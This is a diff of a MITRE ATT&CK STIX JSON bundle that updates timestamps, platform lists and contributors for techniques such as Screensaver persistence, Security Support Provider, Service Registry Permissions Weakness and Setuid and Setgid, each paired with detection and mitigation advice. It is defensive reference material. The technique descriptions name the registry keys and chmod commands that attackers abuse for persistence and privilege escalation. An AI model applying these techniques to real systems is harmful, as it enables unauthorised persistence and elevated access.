+            "type": "attack-pattern",
+            "id": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Screensaver",
+            "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in <code>C:\\Windows\\System32\\</code> along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n*<code>SCRNSAVE.exe</code> - set to malicious PE path\n*<code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n*<code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n*<code>ScreenSaverTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)\n\nDetection: Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User\n\nContributors: Bartosz Jerzman",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "persistence"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1180",
+                    "external_id": "T1180"
+                },
+                {
+                    "source_name": "Wikipedia Screensaver",
+                    "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
+                    "url": "https://en.wikipedia.org/wiki/Screensaver"
+                },
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Bartosz Jerzman"
+            ],
+            "x_mitre_data_sources": [
+                "Process Monitoring",
+                "Process command-line parameters",
+                "Windows Registry",
+                "File monitoring"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scripting Mitigation",
             "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.",
             "external_references": [
@@ -11289,9 +12188,9 @@
             "id": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:51.733Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scripting",
-            "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike.  (Citation: Metasploit) (Citation: Metasploit),  (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting",
+            "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike.  (Citation: Metasploit) (Citation: Metasploit),  (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -11326,7 +12225,7 @@
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 }
             ],
             "object_marking_refs": [
@@ -11337,33 +12236,21 @@
                 "File monitoring",
                 "Process command-line parameters"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_defense_bypassed": [
                 "Process whitelisting"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Security Software Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -11404,9 +12291,9 @@
             "id": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:51.330Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Security Software Discovery",
-            "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n===Windows===\n\nExample commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n===Mac===\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n===Windows===\n\nExample commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n===Mac===\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -11429,20 +12316,8 @@
                 "Process monitoring"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_permissions_required": [
                 "User",
@@ -11454,8 +12329,8 @@
             "type": "course-of-action",
             "id": "course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Security Support Provider Mitigation",
             "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
             "external_references": [
@@ -11481,9 +12356,9 @@
             "id": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:13.447Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Security Support Provider",
-            "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)\n\nDetection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator",
+            "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)\n\nDetection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -11515,22 +12390,11 @@
                 "Windows Registry",
                 "Loaded DLLs"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
             "x_mitre_permissions_required": [
                 "Administrator"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
@@ -11538,9 +12402,9 @@
             "id": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Securityd Memory",
-            "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nPlatforms: OS X\n\nData Sources: Process Monitoring\n\nPermissions Required: root",
+            "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nPlatforms: macOS\n\nData Sources: Process Monitoring\n\nPermissions Required: root",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -11576,7 +12440,7 @@
                 "Process Monitoring"
             ],
             "x_mitre_platforms": [
-                "OS X"
+                "macOS"
             ],
             "x_mitre_permissions_required": [
                 "root"
@@ -11586,8 +12450,8 @@
             "type": "course-of-action",
             "id": "course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Service Execution Mitigation",
             "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -11628,9 +12492,9 @@
             "id": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:36.550Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Service Execution",
-            "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.\n\nDetection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.\n\nPlatforms: Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Process command-line parameters, Process monitoring, Windows Registry\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes",
+            "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.\n\nDetection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -11648,38 +12512,27 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_data_sources": [
+                "Windows Registry",
                 "Process command-line parameters",
-                "Process monitoring",
-                "Windows Registry"
-            ],
-            "x_mitre_platforms": [
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Process monitoring"
             ],
             "x_mitre_permissions_required": [
                 "Administrator",
                 "SYSTEM"
             ],
-            "x_mitre_remote_support": true
+            "x_mitre_remote_support": true,
+            "x_mitre_platforms": [
+                "Windows"
+            ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--9378f139-10ef-4e4b-b679-2255a0818902",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Service Registry Permissions Weakness Mitigation",
-            "description": "Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
+            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -11708,9 +12561,9 @@
             "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:49.119Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Service Registry Permissions Weakness",
-            "description": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nDetection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path is changed to a location that is not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Process command-line parameters, Services, Windows Registry\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Ability to modify a service binPath/ImagePath value in the Registry",
+            "description": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nDetection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path is changed to a location that is not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Services, Windows Registry\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Ability to modify a service binPath/ImagePath value in the Registry\n\nContributors: Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -11741,6 +12594,9 @@
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Travis Smith, Tripwire"
+            ],
             "x_mitre_data_sources": [
                 "Process command-line parameters",
                 "Services",
@@ -11749,24 +12605,13 @@
             "x_mitre_effective_permissions": [
                 "SYSTEM"
             ],
-            "x_mitre_platforms": [
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
-            ],
             "x_mitre_permissions_required": [
                 "Administrator",
                 "SYSTEM"
             ],
+            "x_mitre_platforms": [
+                "Windows"
+            ],
             "x_mitre_system_requirements": [
                 "Ability to modify a service binPath/ImagePath value in the Registry"
             ]
@@ -11775,8 +12620,8 @@
             "type": "course-of-action",
             "id": "course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Setuid and Setgid Mitigation",
             "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.",
             "external_references": [
@@ -11792,9 +12637,9 @@
             "id": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Setuid and Setgid",
-            "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
